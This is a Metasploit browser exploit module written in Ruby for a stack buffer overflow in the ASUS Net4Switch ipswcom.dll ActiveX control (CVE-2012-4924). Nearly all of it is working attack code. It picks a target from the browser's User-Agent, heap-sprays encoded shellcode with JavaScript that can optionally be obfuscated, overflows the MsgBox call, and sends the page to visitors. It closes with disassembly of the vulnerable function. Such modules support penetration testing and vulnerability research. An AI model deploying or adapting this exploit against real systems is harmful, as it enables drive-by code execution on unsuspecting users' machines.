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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::HttpServer::HTML
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  def initialize(info={})
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    super(update_info(info,
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      'Name'           => "ASUS Net4Switch ipswcom.dll ActiveX Stack Buffer Overflow",
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      'Description'    => %q{
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          This module exploits a vulnerability found in ASUS Net4Switch's ipswcom.dll
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        ActiveX control.  A buffer overflow condition is possible in multiple places due
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        to the use of the CxDbgPrint() function, which allows remote attackers to gain
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        arbitrary code execution under the context of the user.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'Dmitriy Evdokimov', #Initial discovery, poc
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          'sinn3r'             #Metasploit
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        ],
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      'References'     =>
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        [
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          [ 'CVE', '2012-4924' ],
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          [ 'OSVDB', '79438' ],
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          [ 'URL', 'http://dsecrg.com/pages/vul/show.php?id=417' ]
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        ],
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      'Payload'        =>
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        {
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          'BadChars'        => "\x00",
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          'StackAdjustment' => -3500,
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        },
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      'DefaultOptions'  =>
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        {
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          'EXITFUNC'         => "seh",
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          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'Automatic', {} ],
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          [ 'IE 6 on Windows XP SP3', { 'Max' => '0x40000', 'Offset' => '0x500' } ],
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          [ 'IE 7 on Windows XP SP3', { 'Max' => '0x40000', 'Offset' => '0x500' } ]
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        ],
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      'Privileged'     => false,
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      'DisclosureDate' => '2012-02-17',
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      'DefaultTarget'  => 0))
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    register_options(
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      [
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        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
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      ])
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  end
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  def get_target(agent)
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    return target if target.name != 'Automatic'
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    if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
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      return targets[1]  #IE 6 on Windows XP SP3
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    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
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      return targets[2]  #IE 7 on Windows XP SP3
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    else
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      return nil
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    end
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  end
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  def on_request_uri(cli, request)
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    agent = request.headers['User-Agent']
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    my_target = get_target(agent)
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    if my_target.nil?
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      print_error("Browser not supported: #{agent.to_s}")
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      send_not_found(cli)
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      return
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    end
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    p = payload.encoded
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    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
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    nops = Rex::Text.to_unescape(make_nops(4))
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    randnop = rand_text_alpha(rand(100) + 1)
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    spray = <<-JS
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    var heap_obj = new heapLib.ie(0x20000);
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    var code = unescape("#{js_code}");
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    var #{randnop} = "#{nops}";
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    var nops = unescape(#{randnop});
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    while (nops.length < 0x80000) nops += nops;
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    var offset = nops.substring(0, #{my_target['Offset']});
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    var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
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    while (shellcode.length < 0x40000) shellcode += shellcode;
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    var block = shellcode.substring(0, (0x80000-6)/2);
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    heap_obj.gc();
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    for (var i=1; i < 0x300; i++) {
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      heap_obj.alloc(block);
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    }
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    JS
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    spray = heaplib(spray, {:noobfu => true})
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    js = <<-JS
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    var obj = new ActiveXObject("ipswcom.IPSWComItf");
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    #{spray}
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    function generate_padding(d, s) {
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      var tmp = d;
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      while (tmp.length < s) {
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        tmp += tmp;
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      }
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      var buf = tmp.substring(0, s/2);
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      tmp = null;
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      return buf;
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    }
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    var arg1 = generate_padding(unescape("%u4141"), 4);
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    var arg2 = "A"; // Expands to 0x0041, helps us to align the stack
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    arg2 += generate_padding(unescape("%u4343"), 2680);
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    arg2 += unescape("%u4242%u4242");
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    arg2 += unescape("%u0d0d%u0d0d");
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    arg2 += generate_padding(unescape("%u0d0d"), #{my_target['Max']}-arg2.length);
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    obj.MsgBox(arg1, arg2, 2);
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    JS
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    #obfuscate on demand
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    if datastore['OBFUSCATE']
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      js = ::Rex::Exploitation::JSObfu.new(js)
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      js.obfuscate(memory_sensitive: true)
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    end
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    html = <<-EOS
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    <html>
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    <head>
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    </head>
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    <body>
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    <script>
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    #{js}
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    </script>
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    </body>
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    </html>
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    EOS
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    html = html.gsub(/\t\t/, '')
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    print_status("Sending HTML")
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    send_response(cli, html, {'Content-Type'=>'text/html'})
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  end
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end
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=begin
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Download:
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http://www.softpedia.com/progDownload/ASUS-Net4Switch-Download-203619.html
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clsid:1B9E86D8-7CAF-46C8-9938-569B21E17A8E
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C:\Program Files\ASUS\Net4Switch\ipswcom.dll
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.text:10030523                 push    ecx
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.text:10030524                 mov     eax, [ebp+arg_C]
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.text:10030527                 mov     [ebp+var_4], eax
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.text:1003052A                 cmp     [ebp+var_4], 0
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.text:1003052E                 jz      short loc_10030541  <-- uType 10h
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.text:10030530                 cmp     [ebp+var_4], 1
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.text:10030534                 jz      short loc_10030573  <-- uType 44h
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.text:10030536                 cmp     [ebp+var_4], 2
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.text:1003053A                 jz      short loc_100305A5  <-- CxDbgPrint
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...
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.text:100305A5 loc_100305A5:                           ; CODE XREF: MsgBox+1Aj
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.text:100305A5                 mov     eax, [ebp+lpText]
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.text:100305A8                 push    eax
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.text:100305A9                 push    offset aIpsw_alertS ; "[IPSW_alert] = %s"
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.text:100305AE                 push    0FFh
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.text:100305B3                 call    ds:CxDbgPrint
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=end
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